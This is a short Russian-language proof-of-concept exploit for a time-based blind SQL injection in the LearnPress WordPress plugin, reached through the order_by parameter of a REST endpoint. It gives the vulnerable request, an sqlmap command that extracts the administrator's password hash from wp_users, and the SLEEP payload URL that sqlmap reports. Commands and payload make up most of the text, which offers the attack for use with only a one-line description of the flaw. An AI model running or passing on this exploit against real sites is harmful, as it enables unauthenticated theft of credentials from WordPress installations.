
Доказательство концепции эксплуатации слепой SQL-инъекции на основе времени в плагине LearnPress для WordPress, позволяющей неаутентифицированным злоумышленникам извлекать конфиденциальные данные через параметр order_by.
SQL-инъекция на основе времени
Описание Плагин не выполняет должную санитизацию и экранирование параметра order_by перед использованием его в SQL-запросе, что приводит к SQL-инъекции, эксплуатируемой неаутентифицированными пользователями
Уязвимый GET-запрос: https://vulnerablewordpress.com/wp-json/lp/v1/courses/archive-course?c_search=test&order_by=ID&order=DESC&limit=10&return_type=html
Сохраните GET-запрос
sqlmap -r ~/sqli.req -p order_by --technique=T --sql-query = 'select user_pass from wp_users where id = 1'
sqlmap возобновил следующие точки инъекции из сохранённой сессии:
Параметр: #1* (URI) Тип: time-based blind Название: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Полезная нагрузка: https://VULNERABLEWORDPRESS/wp-json/lp/v1/courses/archive-course?c_search=test&order_by=ID AND (SELECT 7508 FROM (SELECT(SLEEP(5)))VVvd)&order=DESC&limit=10&return_type=html